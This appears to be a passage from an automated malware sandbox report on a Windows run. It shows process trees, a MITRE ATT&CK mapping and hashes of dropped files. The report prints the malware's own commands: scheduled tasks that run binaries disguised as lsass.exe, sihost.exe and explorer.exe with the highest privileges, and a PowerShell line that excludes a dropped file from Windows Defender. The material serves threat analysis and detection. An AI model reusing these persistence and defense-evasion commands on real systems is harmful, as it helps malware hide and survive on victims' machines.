    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST & exit
    3⤵
    PID:10452
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:10480
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST & exit
    3⤵
    PID:4640
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:10472
- - C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
    "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
    3⤵
    PID:6252
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\D371D9~1.EXE"
  2⤵
  PID:10748
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\DEF982~1.EXE"
  2⤵
  PID:10780
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E0A838~1.EXE"
  2⤵
  PID:10396
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E98182~1.EXE"
  2⤵
  PID:9860
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\E96273~1.EXE"
  2⤵
  PID:328
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EAC7EA~1.EXE"
  2⤵
  PID:5144
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F74EA8~1.EXE"
  2⤵
  PID:6448
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F258F6~1.EXE"
  2⤵
  PID:9568
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\F497E0~1.EXE"
  2⤵
  PID:10256
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\FFCC4C~1.EXE"
  2⤵
  PID:8092
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\DD7125~1.EXE"
  2⤵
  PID:8796

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb4" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb4" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e1" /sc MINUTE /mo 5 /tr "'C:\Windows\tracing\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e" /sc ONLOGON /tr "'C:\Windows\tracing\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e1" /sc MINUTE /mo 7 /tr "'C:\Windows\tracing\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2600

C:\Windows\vkl.exe
"C:\Windows\vkl.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Windows\en-US\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\en-US\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3496

C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5288
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3868
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp7A08.tmp"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5616
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:6380
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
    3⤵
    PID:4336

C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
"C:\Program Files (x86)\Windows Defender\en-US\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\Windows\en-US\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Windows\SystemTemp\Crashpad\reports\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:936

C:\Windows\en-US\sihost.exe
"C:\Windows\en-US\sihost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\SystemTemp\Crashpad\reports\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Windows\SystemTemp\Crashpad\reports\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4920

C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe
"C:\Program Files\Windows Photo Viewer\fr-FR\lsass.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:988

C:\Windows\SystemTemp\Crashpad\reports\explorer.exe
"C:\Windows\SystemTemp\Crashpad\reports\explorer.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3224

C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4452

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:8400

C:\Windows\System32\mshta.exe
mshta
1⤵
PID:8488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 8448 -ip 8448
1⤵
PID:8500

C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe
C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe
1⤵
PID:9448
- C:\Windows\svchost.com
  "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\HACKCR~1.EXE"
  2⤵
  PID:9276

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe
1⤵
PID:1532

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
1⤵
PID:7208

C:\Users\Admin\AppData\Local\MaxLoonaFest2663\MaxLoonaFest2663.exe
C:\Users\Admin\AppData\Local\MaxLoonaFest2663\MaxLoonaFest2663.exe
1⤵
PID:8528

C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe
C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe
1⤵
PID:9036

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C0 0x00000000000004CC
1⤵
PID:6560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 8944 -ip 8944
1⤵
PID:9860

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
1⤵
PID:10672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 392 -p 5624 -ip 5624
1⤵
PID:5816

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
1⤵
PID:9416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 8712 -ip 8712
1⤵
PID:8152

C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe
"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"
1⤵
PID:568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

EEEEEEEEEEE

Path C:\$Recycle.Bin\S-1-5-21-3226024100-3888324339-2736661264-1000\EEEEEEEEEEE
Size 129B
SHA256 3d10351460eafe60c184a5997132f40fee0adeec2872c74c83e17e55788375c0
MD5 a3268b4766c11d6656f894455d16145f
SHA1 a93e7552c8639eff58bca79a71e85afd361d7b4c
SHA512 efd1826f2e6cd8d35e54ae86d0638de86bc212658ac5bf581cbc5091a2170af6f38d07b0121b52096aa7406cba8c85811336313bf46082df79ae53d58db63f3e
TLSH
T14DB022B202A0300A38C0EE222880228F38080C8C0E00B3BA3CB23820C328EA80AA008C
MD5 SHA1 SHA512 TLSH

Submit Download

ACROTE~1.EXE

Path C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE
Size 86KB
SHA256 af7e08c5841674d5b6b49ca6ce6f1eb3eda8888b4bff8e654984634244735575
MD5 d68cf753b7ed3cdc2d217eecf1c27ab4
SHA1 5450f6adb0e77312d40cceda842d04923147434f
SHA512 418184d1aee97b09dbed25e60c61ce4ba0e01d281b2de74bdf56364da2ea075750619cd38d9ee0b54a1421ba0dbe6940a18d844e6c721e219a5a77cef3319ead
SSDEEP 1536:lM5SqdWQVrYAN4UPQyvz6gh/sE/EkHd0Ci2zkQASqk+H6L2C:W5fdWoYmhQyvHsEM6GC+QA8+HlC
TLSH
T18F933B2597F44222E6B34BB098F5D68BD97BB9129E70D75F2389434D0E227818D2372F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stable.identity_helper.exe.manifest

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\identity_proxy\stable.identity_helper.exe.manifest
Size 1KB
SHA256 00c6108316d73e2dd12967a793f8394b9a25e85a4d72f7d0449b0a650e0ab18c
MD5 7f73cdd54654de021e9af77f63c8ffcf
SHA1 8d3a1e6ebcaf5dbdff72b9fbc75a7d5c665776a5
SHA512 144a8133d74d9d4fbee8c44799a9f2b2268c703e009c1c25fe86f2aa44f4ee91c19a3138084722bdeb7e479349dcf9db6322d672916297bfc6a84a3f92758c77
TLSH
T169312BDD1B22CCC6B996C7B516DC7BC36C219ECCEB6A8D5370282830E739275E28181D
MD5 SHA1 SHA512 TLSH

Submit Download

resources.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\resources.pak
Size 33.0MB
SHA256 93adcfbfb7caf043920429bc991f401b2fd034a67e90b1fab963c84b37d1cdee
MD5 f6716f350be577b1ff2417f0c159242d
SHA1 1f3a0cc7f60b47d02d534c8bf02407041bea9728
SHA512 5612a3652bd5c0e98fee9466e121a7f5d590e74aa4c93a14f318d5fd559b09fdfa1189056c54abe9feee77e9514a5d84fb87f90e6c9afe67b9b637aa58eab0e5
SSDEEP 786432:kw8fkpWZcBvFO/JcDOM2dzFjrXkDUja33IE2jqaMyd:kwnWZKkJcr2njr0oIIcaT
TLSH
T12E772342A311662FF91653BB02D2563AF338C4047F8393562591A72C2C773E7AF9E91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Chrome_boostrap.exe

Path C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe
Size 37KB
SHA256 55b2905b08f0715379db90291712363f16a80b3bfb33513012cb9ac7cbff4343
MD5 af69d667761ef87674be3d231a0ae0e6
SHA1 a938c72cfd162d097391d3f53f0097fda5a9543f
SHA512 32a1994162bb873da35f99816b8740b61e8f9b5a3e22e4aa19704848b4760208f23989f174822669a3105719647c3db9145ae0a227cf41d967d50935da66c4ab
SSDEEP 768:p4kXaRz1iRDY4ZkMCt7k+rTWe7/QpuHKWUzBS7w:ukXaR4vW3t+ZpuHKK
TLSH
T13C034B47634600FCD6A6E2BCC6A75B07E3B27C06171297CF13E1922A0F663D59DBEA50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

76561199851454339[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\AMNPKN0B\76561199851454339[1].htm
Size 29KB
SHA256 fa2a6aaf914a1695816d8c7761be9a594598ea936d8441c05385ff5eb6147bb8
MD5 81b0da2298743226f57f7e44f19836ab
SHA1 47fc76ccc8da7218897f8bf80fe1f647b5f44ccc
SHA512 78f792e585f19b5a3fe71e742da8222c45a552a59d7d9090ffb300e1133c4ee5418f80049f7d84221c2815369857d2779c0054be05296b9023b3f3bd6970debf
SSDEEP 768:3Bpq1J9c7GnzOevx83TYbmU1aXfKW9x+X9hJYFohOMqx5QSdxaXfKW9x+X9hJYMs:3B81JK7GnzOevx83TYbmU1aXfKW9x+XH
TLSH
T14AD2417758ECD83F020D72C1B0129A6EA15F8F7BA5458DE6F3FF025461C2ED60A6781A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 63KB
SHA256 e7b8872a3c84439bef3318df8575420b5bd251d6f14fa09716271b87cb1fcf3a
MD5 7e8bdb2d778750af797bd5b2f7c1642f
SHA1 54d039504273ba29fa5e5cc42500e901752602e2
SHA512 6e7da93e130f2d5b3e379264e0a9344fabb7938b62e86dd0c08d177fbdd6f113fbdad14e96a882c8661cca00942259e82e67863aef408f5e1d21482dd092d43e
SSDEEP 1536:oaVoYo2hdRM/fKQVFflJdOZY7h4iUxPR40i71YiyyP2OdBmV3CNBQkj2Ya5gDjIm:oYoYo2hdRM/fKQVFflJdCY7qiUPRCqpK
TLSH
T1F75374D2E9204E75E1A66F3EF15622627C34394690F8113212DC25EFA9879930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 65cc5a89f07bdd799b0f13d9b97b371779e10fb310a117acf2f11618fc6adecc
MD5 4757f9404d943fc6cbc669fc56d63c04
SHA1 7ea711c5c3368d095bd83f44363d554b1a2f66e5
SHA512 78e9b4ea199c2bbea779b5cb5567123a039b08994321fd6d6fab452da7815ef187a084f94c693e7bbb2786820b0a8c76fc2c393f1929a992bb3c2134c6794d96
SSDEEP 192:DSEFGaAGpY14bS9Y6nmw1E77CeGVCbJD+KVNeOcRipRk+8m2jmg+VoIA8Qk4CVI9:DSEFGaAGW14bSd0qecCZ+gNiYr2Pn5Ig
TLSH
T14C328798626FBDC7D8E22374249A4297FBA4E0CD57751199DF37CE3B18A0FB65B40110
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dc35ff1c360d79d3a7b6486e42bd3f1970532524344c9ae3a8d3e2ff9a26ea2b
MD5 e6662d5561702b4d3f7e8068a172c9fb
SHA1 bd6c93a21cf52daf18573dc5e6c32b512882d03a
SHA512 050d563e4e554801026b2ba83ce93100d86e2cd8c994adc06c4d2a87c31cc6ee77a37e7cf203fd795fe32f615329f637b77ad55eb0ac6abf1c4542514f736d70
TLSH
T1C5214633F3DD8654C899413A10CEAC1036B7C7DB419E8E9B6B84D659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 279951e8992579976481f8dd9502f64157eb4d6b0d05bde924e446fce01e4040
MD5 0b1118212dbea8384dc7e2ba30b89ee8
SHA1 be3d56b3d3542424c875969000bf3376873dd5d3
SHA512 507c7fe57794a04fc755f881df94157c31b567d19a6b918dd1dbb9f18d77a0b3a70d0e47330efdd73c7b4beae84f235c76e5b21f0dec16f85203e56b9967031f
SSDEEP 384:21eBaoT1iBGXbOooUe0++Rhl6ER2PsiUDzdCFIAXwxmlVIuwEvYbhNI3PolRtHZ3:WexZ6GXCtUR++XWpUFCFIAXGufw7bhNR
TLSH
T101A2C639213F6DC7D89221B800D10BA6FBA4D449EAF251D4AF4FDE1F6C84AB64E601F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 2f43b32f2c1ce908d4e8057186c2b63c200f0676bd299fc2c4dbd2fa73f60d53
MD5 02f59eb98b00ecba3b14775857b797cc
SHA1 682d110b90af2098ca637091a2bd169b8c28d2b2
SHA512 4a5cd36daded808fd9080c58ac0a88b76abb3f83787d9bf9caa895055619a7b239bb27041c5b9d22d3fc9a277006a990a2795b0a014bfc5a29655e0034d3a99c
SSDEEP 384:q6SEcoMGLljHdW5mAntOxVR2P2PiUDzdC0MIACOwFjIbO/qBoqH6Fx9k5BtvoLig:DpMGLl7dWcAntNu6UFC0MIAX2jf/MpHW
TLSH
T12292F72D317F6DC7D8C221B400D103E7EBE4D08AA27269D9E79FDA2B5C45E7A4A201F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe

Path C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
Size 673KB
SHA256 01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52
MD5 9c7b97eb3958d4309e6ba38bb1a99471
SHA1 76c5317147306c477d793dc6aea9814d8111f82e
SHA512 3f9a36b3aa453400002156f0952de2ec4e9b4c28472cf37ccdd4483f63ea069ccf605f35a1abdffe400b9cedbc1711bacb9744c27aa3f00bf61963380b4ad461
SSDEEP 12288:OCtB5nF8ME6jD/gyU4gvpMvUTlzfAbzbm4rbH/x0XKqRoBWOrXlzofm:zPtD/gFNHlzYbzbR3H/cV2rXNofm
TLSH
T1C4E4126D31AD7C9BD86E02FD1931E008A3B2FE794495E3C96CC275DB45E9FE04622293
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe

Path C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
Size 251KB
SHA256 0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215
MD5 ef9aa4d03a69e69bbc44867f8436001d
SHA1 57db1f7070d71b752c4a8457d53908752a6c23c6
SHA512 b7c5e1a0233d04cc0c9b317df2997b64584240ed3e9f0d18a3b4f52d5fe5146fbe8aa21a7b8868dab8c4e11eb1d88723c219a0119e99e73a067bdfb9af7f9858
SSDEEP 6144:a4AF9TY5lWYpnvxFSt94cG9d7PqLfp+SlRwoOL:UF9QhnG3K7PqbEmwoO
TLSH
T16E44D06136C08B37C183763448B9EB616B7ABE316F64D7477774266E4F322D1223628B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe

Path C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
Size 183KB
SHA256 06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5
MD5 272c8579cd80454ad9914d4cacce381a
SHA1 a8ea1f39e9671a6b192fe87051705f52e8ac2610
SHA512 df2a71a08a593feaadba75be06b630ff7c035daa30139e12b476d06573de0dbefc43d9eb28ca97d2459c2274ea7041b839de25e465516ad6918527f1d8490d92
SSDEEP 3072:HrKINrVsUU7vkkH+wWtaiwGlIQZboLRG9ua/aHyvtid2mty:HrZDsUmP7xGlVbA
TLSH
T1E804274973F81944F5BF6B7204B14C1B27B0A4521923E71E8FD644A92A337908E5EFBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe

Path C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Size 95KB
SHA256 0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1
MD5 a85ded286361bd125cdfceb0b6c93108
SHA1 dcbcead80fbd7aab46ca5669a89c6233cf480550
SHA512 d4d7ab4e5af4e82f43f6e43fe9caa429d1fa2961b7636495d46158d8c96ebaa16c610efce147cde0fe2cb1198bb20731eda44299a29387ef6863906d02fa8e42
SSDEEP 1536:9qsINqLGlbG6jejoigI343Ywzi0Zb78ivombfexv0ujXyyed2A3teulgS6pY:rAMOY3+zi0ZbYe1g0ujyzduY
TLSH
T1A6A35D20679C9F19EAFD1B74B4B2012043F0E08A9091FB4B4DC1A4E71FA7B865957EF2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe

Path C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
Size 342KB
SHA256 0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1
MD5 3167685ffbdae55b00485896310fe2f4
SHA1 a1b706b3aa0aee0d3f534a2823af03afc44c975c
SHA512 63f7875a69b330f7fa4b39248a346810c94364f8289e41dcbe82ee696ad58afc6d8ccfcba1b56fb8dae6a5a32478b3866d434a464843b38a5e895b5c209e8088
SSDEEP 6144:wN7o39E/EXHwLtnZXHOIfPnJbSruNsLYkKtYsZENiG:wN839QKHwL9ZXHOw/Ba2tYsZwiG
TLSH
T17474D009729140F9E87B81B98E916651F573782A4734BBDF03A08372AF237D49E3E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe

